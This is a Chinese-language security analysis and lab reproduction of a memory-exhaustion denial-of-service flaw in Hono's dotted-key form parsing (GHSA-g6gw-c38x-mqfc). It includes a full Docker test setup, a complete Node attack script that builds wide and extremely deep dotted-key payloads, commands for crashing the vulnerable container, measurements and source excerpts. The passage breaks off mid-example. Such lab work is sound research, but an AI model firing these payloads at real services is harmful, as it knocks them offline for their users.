一、先说结论

这类漏洞的攻击价值不在代码执行,而在于用一个看起来并不大的 form 请求,把目标服务拖进高内存占用、长时间 GC,甚至直接 OOM 退出的状态。

本次分析围绕 GHSA-g6gw-c38x-mqfc 展开,目标是回答四个问题:

  1. 攻击者如何快速搭好一个稳定的实验环境。
  2. 攻击者如何用最小成本复现并验证漏洞。
  3. 恶意 dotted key 为什么会在 Hono 内部造成对象图膨胀。
  4. 这种漏洞在真实攻击里到底有什么利用价值。

先限定范围:这个问题只影响显式启用了 parseBody({ dot: true }) 的应用,默认配置并不会直接中招。

先把公告信息列清楚,后面讨论攻击面时不容易跑偏:

  • 公告编号是 GHSA-g6gw-c38x-mqfc
  • 公布日期是 2026-08-26
  • 截至 2026-08-30,该公告没有分配 CVE
  • 影响范围是 hono < 4.13.5
  • 修复版本是 4.13.5
  • CVSS 3.1 基础分是 5.3
  • 向量是 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
  • 分类是 CWE-400: Uncontrolled Resource Consumption

根因可以先概括成三点:

  1. 点号字段名会被解释成嵌套路径,而不是普通字符串键。
  2. 修复前既没有深度上限,也没有跨字段的嵌套对象总量上限。
  3. 因此攻击者可以用极深 key 或大量浅层 key 把资源成本从请求体大小转移到服务端对象分配和 GC 上。

下文会依次给出复现配置、攻击脚本、关键路由、补丁片段和 CodeQL 查询。

二、攻击者会先看什么

从攻击者视角看,一个目标值不值得打,不取决于“Hono 有没有洞”这个抽象结论,而取决于“业务代码是否把不可信输入送进了 parseBody({ dot: true })”。

本地复现工程里,两个目标服务都把入口暴露得很清楚:

  • 一组服务固定依赖 hono@4.13.4,作为脆弱对照
  • 另一组服务固定依赖 hono@4.13.5,作为修复对照
  • 两者都在 POST /submit 中执行 await c.req.parseBody({ dot: true })

攻击者真正盯住的不是版本号本身,而是下面这种代码模式:

app.post('/submit', async (c) => {
  const body = await c.req.parseBody({ dot: true })
  return c.json(body)
})

一旦这个入口存在,攻击者就会马上想到两种 payload:

  • 用一个超深 dotted key 制造超长对象链
  • 用海量浅层 dotted key 制造超多对象节点

前者吃“深度”,后者吃“总量”,两种都能把解析阶段的内存成本抬起来。

三、实验环境怎么搭,为什么要这么搭

漏洞复现最怕环境不稳定,所以这里用了一个方便重复验证的 Docker 化环境。

整套实验的核心只有四件事:

  1. 同时保留脆弱版和修复版服务,保证补丁对照成立。
  2. 把 Node old-space 压到 64 MiB,让高 GC 和 OOM 更容易稳定复现。
  3. 用 wide-limit 验证对象总量限制,用 deep-limit 验证深度限制。
  4. 用 deep-crash 验证脆弱版会因超深 dotted key 失稳,而修复版会快速失败。

1. 关键文件直接内嵌

复现实验依赖的关键材料直接展开如下,便于对照环境结构和行为差异。

这个布局把三件事拆开了:

  • 脆弱服务负责稳定承载 hono@4.13.4
  • 修复服务负责提供补丁对照
  • 攻击容器负责稳定生成攻击流量

先看编排文件本体:

services:
  vuln:
    build:
      context: ./targets/vuln
    container_name: hono-parsebody-vuln
    environment:
      APP_MODE: vulnerable
      PORT: "3000"
    ports:
      - "3001:3000"
    healthcheck:
      test: ["CMD", "wget", "-qO-", "http://127.0.0.1:3000/healthz"]
      interval: 2s
      timeout: 1s
      retries: 30
      start_period: 2s

  fixed:
    build:
      context: ./targets/fixed
    container_name: hono-parsebody-fixed
    environment:
      APP_MODE: fixed
      PORT: "3000"
    ports:
      - "3002:3000"
    healthcheck:
      test: ["CMD", "wget", "-qO-", "http://127.0.0.1:3000/healthz"]
      interval: 2s
      timeout: 1s
      retries: 30
      start_period: 2s

  attacker:
    build:
      context: .
      dockerfile: ./attacker/Dockerfile
    profiles: ["tools"]

攻击容器本身也很薄,除了把脚本拷进去之外没有额外逻辑:

FROM node:22-alpine

WORKDIR /app

COPY attacker/exploit.js /app/exploit.js

ENTRYPOINT ["node", "/app/exploit.js"]

目标服务镜像同样刻意压得很薄,脆弱版和修复版在容器层完全一致:

FROM node:22-alpine

WORKDIR /app

COPY package.json package-lock.json ./
RUN npm ci --omit=dev

COPY server.js /app/server.js

ENV NODE_ENV=production
ENV PORT=3000

EXPOSE 3000

CMD ["node", "--max-old-space-size=64", "server.js"]

两组目标服务的依赖清单也可以直接内嵌出来。真正影响漏洞语义的只有 hono 版本,其余依赖保持不变。

脆弱版:

{
  "name": "hono-parsebody-vuln",
  "version": "1.0.0",
  "private": true,
  "type": "module",
  "scripts": {
    "start": "node server.js",
    "start:lowmem": "node --max-old-space-size=64 server.js"
  },
  "dependencies": {
    "@hono/node-server": "2.1.1",
    "hono": "4.13.4"
  }
}

修复版:

{
  "name": "hono-parsebody-fixed",
  "version": "1.0.0",
  "private": true,
  "type": "module",
  "scripts": {
    "start": "node server.js",
    "start:lowmem": "node --max-old-space-size=64 server.js"
  },
  "dependencies": {
    "@hono/node-server": "2.1.1",
    "hono": "4.13.5"
  }
}

2. 为什么必须保留两个版本

只搭脆弱版当然也能打出 OOM,但保留修复版对照,才能把补丁效果和攻击边界看得更清楚。

修复版必须保留,原因很实际:

  • 能证明不是自己环境有问题,而是补丁确实改变了行为
  • 能验证真正被拦截的是哪类输入
  • 能反推出补丁作者最担心的攻击路径是什么

3. 为什么要限制 Node 堆大小

本工程里目标服务通过 Docker 启动,并把 Node old-space 压到 64 MiB。这不是漏洞成因的一部分,但它能显著提高复现稳定性。

原因很简单:如果宿主机内存充足,很多 DoS 只会表现为“内存涨得很明显”,却未必马上崩。把堆压小之后,相关现象会更稳定,也更容易观察和对照:

  • 响应超时
  • 连接中断
  • 5xx
  • 容器退出
  • JavaScript heap out of memory

4. 启动方式

在项目根目录执行:

docker compose up --build -d vuln fixed
docker compose ps

​

验证健康状态:

curl -s http://127.0.0.1:3001/healthz
curl -s http://127.0.0.1:3002/healthz



两个服务都正常时,就得到了一个清晰的“脆弱版 / 修复版”对照环境。

四、漏洞复现:攻击者会如何一步步试探

真实攻击通常不会一上来就塞最大 payload,更常见的顺序是先探,再压,再打崩。

1. 第一步:先做低成本连通性探测

攻击侧脚本里已经内置了四组 profile:

  • safe
  • wide-limit
  • deep-limit
  • deep-crash

先用最温和的 profile 验证目标路由是否真的会进入 parseBody({ dot: true }),这是很典型的攻击前侦察动作。

它的最小化核心逻辑如下:

const profiles = {
  safe: { kind: 'wide', count: 4 },
  'wide-limit': { kind: 'wide', count: 10001 },
  'deep-limit': { kind: 'deep', depth: 34 },
  'deep-crash': { kind: 'deep', depth: 400000 },
}

const buildWidePayload = (count) => {
  const parts = []
  for (let i = 0; i < count; i += 1) {
    parts.push(`field${i}.value=x`)
  }
  return parts.join('&')
}

const buildDeepPayload = (depth) => `${new Array(depth).fill('a').join('.')}=x`

这段脚本有两个特点:profile 名字直接对应“安全探测 / 宽度打点 / 深度打点 / 崩溃复现”四个阶段;payload 的危险性几乎全部集中在字段名结构,而不是值本身。

如果直接把攻击脚本完整展开,它实际就是下面这样:

const targets = {
  vuln: 'http://vuln:3000/submit',
  fixed: 'http://fixed:3000/submit',
}

const profiles = {
  safe: { kind: 'wide', count: 4 },
  'wide-limit': { kind: 'wide', count: 10001 },
  'deep-limit': { kind: 'deep', depth: 34 },
  'deep-crash': { kind: 'deep', depth: 400000 },
}

const [, , action = 'probe', targetName = 'vuln', profileName = 'safe'] = process.argv
const targetUrl = targets[targetName] ?? targetName
const profile = profiles[profileName]

if (!profile) {
  console.error(`Unknown profile: ${profileName}`)
  console.error(`Available profiles: ${Object.keys(profiles).join(', ')}`)
  process.exit(1)
}

const buildWidePayload = (count) => {
  const parts = []
  for (let i = 0; i < count; i += 1) {
    parts.push(`field${i}.value=x`)
  }
  return parts.join('&')
}

const buildDeepPayload = (depth) => `${new Array(depth).fill('a').join('.')}=x`

const buildPayload = ({ kind, count, depth }) => {
  if (kind === 'wide') {
    return buildWidePayload(count)
  }
  if (kind === 'deep') {
    return buildDeepPayload(depth)
  }
  throw new Error(`Unsupported payload kind: ${kind}`)
}

const payload = buildPayload(profile)
const payloadBytes = Buffer.byteLength(payload)

const summarize = (text) => {
  if (text.length <= 240) {
    return text
  }
  return `${text.slice(0, 240)}...`
}

const run = async () => {
  console.log(
    JSON.stringify(
      {
        action,
        target: targetUrl,
        profile: profileName,
        payloadBytes,
      },
      null,
      2
    )
  )

  const startedAt = Date.now()

  try {
    const response = await fetch(targetUrl, {
      method: 'POST',
      headers: {
        'content-type': 'application/x-www-form-urlencoded',
      },
      body: payload,
      signal: AbortSignal.timeout(action === 'crash' ? 30000 : 15000),
    })

    const text = await response.text()
    console.log(
      JSON.stringify(
        {
          ok: response.ok,
          status: response.status,
          durationMs: Date.now() - startedAt,
          body: summarize(text),
        },
        null,
        2
      )
    )

    if (action === 'crash' && response.ok) {
      console.error('Expected the crash profile to destabilize the vulnerable service, but it still returned success.')
      process.exit(3)
    }
  } catch (error) {
    console.log(
      JSON.stringify(
        {
          ok: false,
          durationMs: Date.now() - startedAt,
          error: error instanceof Error ? error.message : String(error),
        },
        null,
        2
      )
    )
  }
}

run().catch((error) => {
  console.error(error)
  process.exit(5)
})

2. 第二步:用补丁边界反推利用条件

先验证“对象总量限制”:

docker compose run --rm attacker probe fixed wide-limit
docker compose run --rm attacker probe vuln wide-limit



这组 payload 会构造 10001 个浅层 dotted key,大致形式如下:

field0.value=x&field1.value=x&field2.value=x...

观察结果:

  • 在本文本地复现服务中,修复版返回 500
  • 响应体中的错误信息为 Nesting limit exceeded
  • 脆弱版返回 200

这一步已经能说明:

  • 修复版确实在限制“对象总量”
  • 脆弱版仍会老老实实为这些 key 展开对象

然后再验证“嵌套深度限制”:

docker compose run --rm attacker probe fixed deep-limit
docker compose run --rm attacker probe vuln deep-limit



这里的 deep-limit 会构造 34 个 path segment 的 dotted key。它的意义不是马上打崩,而是确认补丁围绕 MAX_NESTING_DEPTH = 32 设置的拒绝边界在哪里。

3. 第三步:切换到真正的崩溃型 payload

最后使用:

docker compose run --rm attacker crash vuln deep-crash



deep-crash 会生成一个超深 dotted key,本地脚本中深度被设置为 400000。关键在于:攻击者发出的并不是超大文件,也不是复杂二进制包,而只是一个字段名极端异常的 application/x-www-form-urlencoded 请求。

复现结束后可以检查目标状态:

docker compose ps -a vuln
docker compose logs vuln --tail=80



预期现象是:

  • 攻击请求超时或连接断开
  • 脆弱版容器退出
  • 日志中出现 JavaScript heap out of memory 或等价 OOM 痕迹

4. 为什么这个 PoC 对攻击者足够有吸引力

因为它同时满足了几条很典型的 DoS 条件:

  • 远程可达
  • 若目标端点可匿名访问,则利用门槛更低
  • payload 容易自动化生成
  • 请求体表面上并不夸张
  • 放大点发生在服务端解析逻辑内部

这类 payload 很容易被包装成一个成本极低的压力放大器。

5. 用本地实测数据看放大效果

为了让这条攻击链不只停留在“理论上会 OOM”,本文对脆弱版和修复版做了一轮本地实测,测试对象包括:

  • safe
  • wide-limit
  • deep-limit
  • deep-crash

其中 safe、wide-limit、deep-limit 对脆弱版和修复版都做了对照;deep-crash 额外分别验证了“修复版快速拒绝”和“脆弱版连接被异常关闭并触发 OOM”。

目标

Profile

Payload 大小

HTTP 结果

耗时

关键现象

heapUsed 变化

vuln

safe

59 B

200

70 ms

正常解析,得到 4 个顶层键

+47,544 B

fixed

safe

59 B

200

4 ms

正常解析,得到 4 个顶层键

+48,168 B

vuln

wide-limit

178,908 B

200

45 ms

成功展开 10001 个顶层键

+6,089,200 B

fixed

wide-limit

178,908 B

500

44 ms

抛出 Nesting limit exceeded

+6,714,928 B

vuln

deep-limit

69 B

200

4 ms

34 段 dotted key 被接受

+38,248 B

fixed

deep-limit

69 B

500

3 ms

命中深度限制

+32,976 B

fixed

deep-crash

800,001 B

500

14 ms

快速拒绝超深 key

+1,703,848 B

vuln

deep-crash

800,001 B

连接异常关闭

270 ms

fetch failed,SocketError: other side closed,随后容器退出

无法返回响应

这里的 heapUsed 变化,指的是复现服务在单次请求前后读取 process.memoryUsage().heapUsed 得到的窗口差值。它适合展示“解析阶段确实出现了明显资源消耗”,但不等同于峰值内存、总分配量或精确的单 key 成本。

这组数据里有四个关键点。

第一,wide-limit 最能说明“解析放大”这件事。请求体只有约 175 KiB,但在这次观测窗口里,脆弱版单次解析前后的 heapUsed 差值达到了约 5.81 MiB。这已经足够说明:攻击者交给服务器的不是一个“超大包”,而是一个会诱导解析阶段持续分配内存的输入。

第二,修复版在 wide-limit 上观测到的 heapUsed 差值也不小,这反而更有参考价值。补丁不是零成本魔法,而是在有限范围内先做解析,再在达到阈值时尽早失败。再补一句,这组差值会受 GC 时机影响,所以更适合解读为“修复版仍然要付出解析成本,但成本已经被压进有上限的窗口”,而不是直接拿来比较哪一边更耗内存。

第三,deep-limit 的对照能看出修复版把失败点前移得很早。只有 69 B 的请求,脆弱版会正常接受;而在本文本地复现服务中,修复版几乎立刻返回携带 Nesting limit exceeded 的 500。这说明新增的深度阈值不是在“对象都快建完了”之后才兜底,而是在更早的分段判断阶段就切断了这条链。

第四,deep-crash 最接近真实攻击效果。修复版面对 800,001 B 的超深 dotted key 时,仍能在 14 ms 内返回错误;而脆弱版在 270 ms 左右就出现“连接被对端关闭”,随后容器退出。这里被利用的不是网络带宽,而是目标服务内部那条无界的 dotted-key 展开路径。

本轮 deep-crash 的窗口日志也能佐证这一点:

[vulnerable] listening on http://127.0.0.1:3000

<--- Last few GCs --->

[1:0xffff82820000]    25509 ms: Mark-Compact 51.7 (83.9) -> 51.7 (85.4) MB ...
[1:0xffff82820000]    25547 ms: Mark-Compact 67.4 (85.4) -> 67.4 (101.2) MB ... allocation failure

<--- JS stacktrace --->

FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory



这段日志把“对象分配过多”落到了 V8 的具体行为上。进程不是瞬间被打死,而是先进入明显的 Mark-Compact 压力区,说明垃圾回收已经在努力回收对象;直到堆上限仍然守不住时,才最终触发 JavaScript heap out of memory。这正是解析放大类 DoS 的典型运行时轨迹。

从利用角度看,这张表给出的结论很明确:脆弱版既可以被“广度型” dotted key 请求稳定拉高内存,也可以被“深度型” dotted key 请求直接打进 OOM;修复版虽然仍需消耗一定解析成本,但已经把两条攻击路线都压进了可控边界。

五、从源码看攻击链为什么成立

要理解这条攻击链为什么成立,得先看请求进入 Hono 之后到底经历了什么。下面按攻击链顺序拆开。

1. 业务路由把不可信输入送进 parseBody

本地两组目标服务的入口逻辑几乎完全一致,差别只在默认 APP_MODE 和依赖版本。目标服务的最小入口逻辑如下:

import { serve } from '@hono/node-server'
import { Hono } from 'hono'

const app = new Hono()
const port = Number(process.env.PORT || 3000)
const appMode = process.env.APP_MODE || 'vulnerable'

const heapSnapshot = () => {
  const usage = process.memoryUsage()
  return {
    rss: usage.rss,
    heapTotal: usage.heapTotal,
    heapUsed: usage.heapUsed,
    external: usage.external,
  }
}

app.get('/healthz', (c) =>
  c.json({
    ok: true,
    mode: appMode,
    memory: heapSnapshot(),
  })
)

app.post('/submit', async (c) => {
  const before = heapSnapshot()

  try {
    const body = await c.req.parseBody({ dot: true })
    const topLevelKeys = Object.keys(body)
    const after = heapSnapshot()

    return c.json({
      ok: true,
      topLevelKeyCount: topLevelKeys.length,
      topLevelKeys: topLevelKeys.slice(0, 5),
      before,
      after,
    })
  } catch (error) {
    const after = heapSnapshot()

    return c.json(
      {
        ok: false,
        error: error instanceof Error ? error.message : String(error),
        before,
        after,
      },
      500
    )
  }
})

serve(
  {
    fetch: app.fetch,
    port,
  },
  (info) => {
    console.log(`[${appMode}] listening on http://127.0.0.1:${info.port}`)
  }
)

只要业务代码显式打开 dot: true,攻击者提交的 dotted key 就不再是普通字符串,而会被框架当成“路径语义”处理。

2. HonoRequest.parseBody() 只是一个入口转发器

在本地源码里,HonoRequest.parseBody() 基本就是一个薄转发层;为了让读者能把文章里的“入口很短”直接对应到真实实现,下面保留它在 src/request.ts 里的类型签名和实际函数体:

async parseBody<Options extends Partial<ParseBodyOptions>, T extends BodyData<Options>>(
  options?: Options
): Promise<T>
async parseBody<T extends BodyData>(options?: Partial<ParseBodyOptions>): Promise<T>
async parseBody(options?: Partial<ParseBodyOptions>) {
  return parseBody(this, options)
}

也就是说,这一层几乎不做额外判断;一旦业务代码调用了 c.req.parseBody({ dot: true }),控制权就会直接进入后面的请求体解析逻辑。

3. parseFormData() 把原始请求转成可枚举的表单键值

接下来进入 Hono 的表单解析实现,也就是 parseFormData() 与 convertFormDataToBodyData() 这条链。

这个阶段发生了两件事:

  1. 原始请求体被解析成 FormData
  2. FormData 中的每个 (value, key) 被枚举并转成普通对象属性

对攻击者来说,这一步的意义在于:字段名 key 仍然可控,而且后面还会继续沿着内部数据结构传播。

为了先把读者注意力集中在这条漏洞链本身,下面先给出一个聚焦 dot 路径的主干摘录;更完整的 convertFormDataToBodyData() 控制流会在后面的第 5 小节再补齐:

async function parseFormData(request, options) {
  const headers = isRawRequest(request) ? request.headers : request.raw.headers
  const arrayBuffer = await request.arrayBuffer()
  const formDataPromise = bufferToFormData(
    arrayBuffer,
    headers.get("Content-Type") || ""
  )
  const formData = await formDataPromise
  if (formData) {
    return convertFormDataToBodyData(formData, options)
  }
  return {}
}

function convertFormDataToBodyData(formData, options) {
  const form = Object.create(null)
  formData.forEach((value, key) => {
    form[key] = value
  })
  if (options.dot) {
    Object.entries(form).forEach(([key, value]) => {
      if (key.includes(".")) {
        handleParsingNestedValues(form, key, value)
        delete form[key]
      }
    })
  }
  return form
}

还有一个容易被忽略的点:multipart/form-data 和 application/x-www-form-urlencoded 虽然传输形态不同,但在 Hono 内部都会收敛到同一条处理路径。攻击者在外层可以根据业务场景选择更自然的请求外观,但一旦通过 parseFormData(),后续都会进入同样的 FormData -> BodyData -> dotted-key expansion 逻辑。

这对攻击者意味着两个现实价值:

  • 可以优先选更像正常业务流量的内容类型,而不必拘泥于某一种编码方式
  • 即使业务层只对某一类表单做了较弱校验,只要最终进入这条解析链,攻击面本质上仍然存在

这里最该点明的是,攻击者真正控制的高价值变量不是 value,而是 key。value 往往只是一个很小的占位字符串,例如 x;真正触发资源放大的,是字段名里那串被框架解释为路径语义的点号分段。这个漏洞的“弹药”主要装在参数名上,而不是参数值上。

把这一层数据形态展开后,链路其实很清楚:

  1. 原始 HTTP body 先被解析成 FormData
  2. FormData 中攻击者控制的 key 被写入 form[key]
  3. 后续 Object.entries(form) 又把这个动态属性名重新枚举出来
  4. 命中 key.includes('.') 后进入 handleParsingNestedValues()
  5. 最终在 key.split('.') 这里被解释成多层路径

这也是这个问题适合和 CodeQL 结合分析的原因:单看入口,它像一次普通的 body 解析;真正危险的是 key 会在多个中间数据结构之间被保留下来,并最终触发对象展开。

3.1 用一个具体字段名把这条链走一遍

如果只盯着函数名,读者很容易知道“代码会走到这里”,但不容易真正感受到“攻击者控制的 key 在每一层到底变成了什么”。把一个具体样本拆开会更直观。

先用一个最普通、也最像真实业务字段的输入:

user.profile.name=x

它在 Hono 内部至少会先后经过下面几种形态:

原始 body
  "user.profile.name=x"

FormData
  [("user.profile.name", "x")]

平面 form 对象
  {
    "user.profile.name": "x"
  }

Object.entries(form)
  [
    ["user.profile.name", "x"]
  ]

split 结果
  ["user", "profile", "name"]

如果想把它看成一条更连续的执行时序,也可以压缩成下面这条链:



真正值得强调的是,攻击者控制的字段名并不会在中途“失真”。它不是从 FormData 到普通对象时被规范化成安全结构,而是几乎原样穿过多个中间层,直到最后才在 split('.') 这一刻被解释成路径语义。

把 handleParsingNestedValues() 的循环按这组输入手工展开,整个物化过程大概是这样:

let nestedForm = form
const keys = ['user', 'profile', 'name']

// index = 0
// 当前 form 里还没有 form.user,于是创建第一层对象
nestedForm['user'] = Object.create(null)
nestedForm = nestedForm['user']

// index = 1
// 当前 nestedForm 里还没有 profile,于是创建第二层对象
nestedForm['profile'] = Object.create(null)
nestedForm = nestedForm['profile']

// index = 2
// 最后一个 segment 才真正写入值
nestedForm['name'] = 'x'

最后再执行:

delete form['user.profile.name']

于是函数返回前,根对象大致会从:

{
  'user.profile.name': 'x'
}

变成:

{
  user: {
    profile: {
      name: 'x'
    }
  }
}

如果把这个过程抽象成一句话,那就是:dot: true 不是在“读取一个表单字段”,而是在“把字段名当作一份小型路径脚本来执行”。攻击者真正操纵的不是 value 大小,而是解释器会为这份“路径脚本”做多少次分段、判断和对象创建。

3.2 为什么字段名比字段值更危险

很多读者第一次看这类漏洞时,会本能地把注意力放在 value 上,比如担心是不是 value 特别大、是不是 multipart 里塞了大文件。但这条链的高危变量其实是 key,而不是 value。

原因在于:

  1. value 即使只是一个单字符 x,也不影响攻击者用 key 驱动深层对象展开。
  2. key 同时决定了 split('.') 会拆出多少段,以及循环里会创建多少个中间对象。
  3. key 还会影响 Object.entries(form) 前后的中间结构大小,因为平面对象属性名、entries 元组和 split 结果里都会再次保存这串字符串或其派生片段。

所以这个漏洞的成本模型更接近“字段名驱动的解释器膨胀”,而不是“字段值驱动的大包上传”。从攻击研究角度看,这一点很重要,因为它决定了很多传统以 value 大小为中心的防护思路,并不能直接覆盖这里的放大链。

4. 从请求字节到 FormData,中间已经付了一次成本

从源码层继续往下看,一个关键观察是:Hono 在进入 dotted-key 展开之前,并不是直接对流式字节一边读一边建对象,而是先把整份请求体完整取成内存里的 ArrayBuffer。

脆弱版和修复版这一段都一样:

const arrayBuffer = await request.arrayBuffer();
const formDataPromise = bufferToFormData(
  arrayBuffer,
  headers.get("Content-Type") || ""
);

而 bufferToFormData() 的实现也很短:

var bufferToFormData = (arrayBuffer, contentType) => {
  const response = new Response(arrayBuffer, {
    headers: {
      "Content-Type": contentType.replace(/^[^;]+/, (mediaType) => mediaType.toLowerCase())
    }
  });
  return response.formData();
};

这两段代码揭示了几个关键的实现事实。

第一,Hono 在自身这一层明确选择了“先整包落内存,再交给 Response.formData() 解析”的策略。请求体还没进入 dotted-key 语义扩展之前,攻击者输入就已经先以原始字节缓冲区的形式完整存在了一次。

第二,parseBody({ dot: true }) 的资源成本并不只来自 handleParsingNestedValues()。在那之前,框架至少已经做了:

  1. 从请求流读取完整 body
  2. 物化出一个 ArrayBuffer
  3. 构造一个临时 Response 包装对象
  4. 调用 response.formData(),把字节重新解释成 FormData

第三,问题不在于“这里只多做了一次解析”,而在于“这次解析的产物还会继续被下一阶段再物化一遍”。攻击者发送的输入不是直接进入对象树的最终形态,而是先经历:



从内存驻留时间来看,这条链尤其值得注意。arrayBuffer 在 response.formData() 完成之前不会消失;而 FormData 构建完成后,后面的 convertFormDataToBodyData() 又会继续把同一批字段名和字段值转抄进普通 JS 对象。在一次请求的解析窗口里,原始字节、FormData 项、平面对象、entries 数组和嵌套对象,往往会有一段时间重叠存活,而不是前一种结构刚释放、后一种结构才创建。

从实现角度看,这个漏洞也比“一个循环里不断 Object.create(null)”更重。攻击者利用的,不只是最后那段嵌套对象创建,而是整条“字节表示 -> 表单表示 -> 平面对象表示 -> 嵌套对象表示”的多阶段物化链。

顺着这个视角再看 deep-crash,就更容易理解为什么 800,001 B 的请求不该被简单归类成“800 KB 大包”。真正有破坏力的不是这 800 KB 本身,而是服务端为了理解这 800 KB,先后创建并短时间持有了多少种中间表示。

5. 真正的危险点在 convertFormDataToBodyData()

如果只摘 if (options?.dot && key.includes(".")) 这一小段,读者虽然知道“危险分支在这里”,但不容易看清它和前面的平面落地、以及后面的 delete form[key] 是同一个控制流。把脆弱版 convertFormDataToBodyData() 里和这条链直接相关的部分连起来看,会更完整:

function convertFormDataToBodyData<T extends BodyData = BodyData>(
  formData: FormData,
  options: ParseBodyOptions
): T {
  const form: BodyData = Object.create(null)

  formData.forEach((value, key) => {
    const shouldParseAllValues = options.all || key.endsWith('[]')

    if (!shouldParseAllValues) {
      form[key] = value
    } else {
      handleParsingAllValues(form, key, value)
    }
  })

  if (options.dot) {
    Object.entries(form).forEach(([key, value]) => {
      const shouldParseDotValues = key.includes('.')

      if (shouldParseDotValues) {
        handleParsingNestedValues(form, key, value)
        delete form[key]
      }
    })
  }

  return form as T
}

这段分支对攻击者释放出的信号很直接:

  • 只有启用了 dot
  • 且字段名里真的含有 .
  • 才会进入后续的嵌套展开逻辑

攻击者不是在打整个 parseBody(),而是在专门击中这条“点号语义扩展”路径。

从利用视角看,这个分支还有一个很关键的工程学特征:它先执行 form[key] = value,再在后面的 Object.entries(form) 中二次处理 dotted key,处理完以后再 delete form[key]。这意味着一次请求里,框架会先把攻击者输入以“平面键”的形式落到对象上,再把其中一部分重新解释为“嵌套路径”。这种“两阶段物化”会让部分中间对象活得更久,也更容易把短时间内创建的大量对象推向后续 GC 周期,而不是立刻释放。

对攻击者来说,这种实现方式有两个现实好处:

  • 请求到达后,不需要命中复杂业务逻辑,只要进入 body 解析阶段就可能产生代价
  • 放大量发生在框架通用代码里,业务方往往不会专门为这一段加细粒度监控

此外,Object.entries(form) 这一句本身也值得单独点出来。它意味着框架会先把当前 form 对象中的全部键值对再物化成一个数组,然后才逐个判断哪些 key 需要进入 nested 解析。对于广度型 payload 来说,这不只是“后面会创建很多对象”,而是“在创建对象之前,先额外申请了一份 entries 数组及其元素结构”。因此一次宽度很大的请求,成本并不只来自 handleParsingNestedValues(),还包括进入该函数之前的中间枚举与临时对象分配。

6. 脆弱版为何会对象膨胀

脆弱版的核心函数是 handleParsingNestedValues()。这里最好不要只看“归纳后的伪代码”,而是直接看接近上游 src/utils/body.ts 的裁剪摘录;这样前面提到的 __proto__ 过滤、无界 split('.')、以及“遇到非对象就重建”的行为都会同时出现在一个片段里:

const handleParsingNestedValues = (
  form: BodyData,
  key: string,
  value: BodyDataValue<Partial<ParseBodyOptions>>
): void => {
  if (/(?:^|\.)__proto__\./.test(key)) {
    return
  }

  let nestedForm = form
  const keys = key.split('.')

  keys.forEach((key, index) => {
    if (index === keys.length - 1) {
      nestedForm[key] = value
    } else {
      if (
        !nestedForm[key] ||
        typeof nestedForm[key] !== 'object' ||
        Array.isArray(nestedForm[key]) ||
        nestedForm[key] instanceof File
      ) {
        nestedForm[key] = Object.create(null)
      }
      nestedForm = nestedForm[key] as unknown as BodyData
    }
  })
}

这段逻辑对攻击者意味着三件事。

第一,key.split(".") 没有深度上限。只要字段名够长,就能拆出足够多的段。

第二,中间节点会被逐层补成 Object.create(null)。攻击者并不是只让框架做字符串处理,而是在逼它持续申请新对象。

第三,这个过程发生在服务端解析阶段。网络层看到的是一个普通表单请求,真正的资源放大发生在应用内部。

再细一点看,这个循环还有两个值得单独拎出来的语义特征。

第一,空路径段会被保留下来。key.split('.') 不会自动丢弃空字符串,所以像 a..a..a=x 这样的输入会生成 ["a", "", "a", "", "a"] 之类的片段序列。对攻击者而言,这意味着字段名可以被更激进地压缩成“更高的每字节路径密度”,而不是只有标准的 a.b.c 形式才有效。

第二,中间节点如果不是对象,就会被直接替换成新的 Object.create(null)。这表示当攻击者制造形如“同一前缀既作为叶子值又作为父节点”的冲突结构时,框架不会停下来,而是会把原有标量或数组覆盖掉,再继续向下构造嵌套对象。从利用角度看,这种“语义纠偏式重建”会让解析器在面对冲突 key 序列时继续投入分配成本,而不是提前失败。

再拆开一点看,深度型 payload 和广度型 payload 打的其实不是同一种成本。

  • 深度型 payload 例如 a.a.a.a...=x,主要制造一条很长的对象链,特点是单个 key 就能反复触发 Object.create(null)。
  • 广度型 payload 例如 field0.value=x&field1.value=x...,主要制造大量彼此独立的子节点,特点是单请求里可以快速堆积很多对象。

前者更像“单字段打穿路径深度”,后者更像“多字段堆满对象总量”。从运行时表现上看,深度型更容易把一次解析时间拖长,广度型更容易在并发下把总堆占用迅速抬高。

如果用复杂度思维来理解,这里的关键不是简单说一句“时间复杂度是 O(n)”。真正的问题在于,请求体字节数与服务端对象分配数之间失去了健康的线性对应关系。攻击者发出的只是一个看似普通的表单 body,但服务端在解释 dotted key 时,会产生远超原始字节量的对象图和属性访问操作,这就是典型的解析放大。

可以把这种放大粗略理解为两层成本叠加:

  1. 先为输入中的每个字段建立平面 form[key]
  2. 再为其中含点号的 key 重新走一遍路径拆分、对象判断、对象创建和旧键删除

dotted key 不是“只被解析一次”,而是先被当作普通键接收,再被当作路径语义二次解释。这个双阶段过程让攻击者能够用同一份输入同时触发“平面存储成本”和“嵌套展开成本”。

这也解释了为什么很多常见防护不够用。client_max_body_size、上传大小限制或反向代理的 body limit,只能约束“收进来多少字节”,却不能约束“应用为了理解这些字节,需要额外创建多少对象”。只要 dotted key 的语义展开还在,无论请求体本身是否巨大,攻击者都可以把成本转移到服务端内存和 GC 上。

还要注意一点:这里虽然存在 __proto__ 相关过滤,但它防的是原型链污染方向,不是当前这条资源耗尽链。维护者已经意识到“路径语义”可能带来对象安全问题,但在 4.13.4 之前,还没有对“路径语义导致的对象膨胀”设置硬上限。

把这一步放到 Node / V8 运行时中看,常见后果可能沿着下面的顺序发生:

  1. 解析阶段短时间创建大量普通对象
  2. 部分对象存活时间变长,可能开始向老生代晋升
  3. GC 频率升高,单次停顿时间和请求尾延迟增加
  4. 并发请求叠加后,事件循环可能被更多 GC 和对象访问拖慢
  5. 最终触发 heap out of memory,或者在 OOM 之前先出现明显的超时和 5xx

因此,真实场景里最常见的第一现场往往不是“服务瞬间崩掉”,而是延迟先明显变坏,然后才进入异常退出或重启。

因此,无论是:

  • a.a.a.a.a...=x

还是:

  • field0.value=x&field1.value=x&...

本质上都是在诱导 Hono 建一张远大于请求体本身的对象图。

6.1 用前缀冲突看“语义纠偏式重建”

除了单纯的深度和宽度,前缀冲突也很值得单独拿出来讲,因为它能帮助读者理解这段代码为什么不是“遇到怪输入就早停”,而是“尽量把怪输入继续解释下去”。

看一个最小样本:

a=x&a.b=y

在 formData.forEach() 结束后,平面对象先是:

{
  a: 'x',
  'a.b': 'y'
}

之后 Object.entries(form) 会把它枚举成:

[
  ['a', 'x'],
  ['a.b', 'y']
]

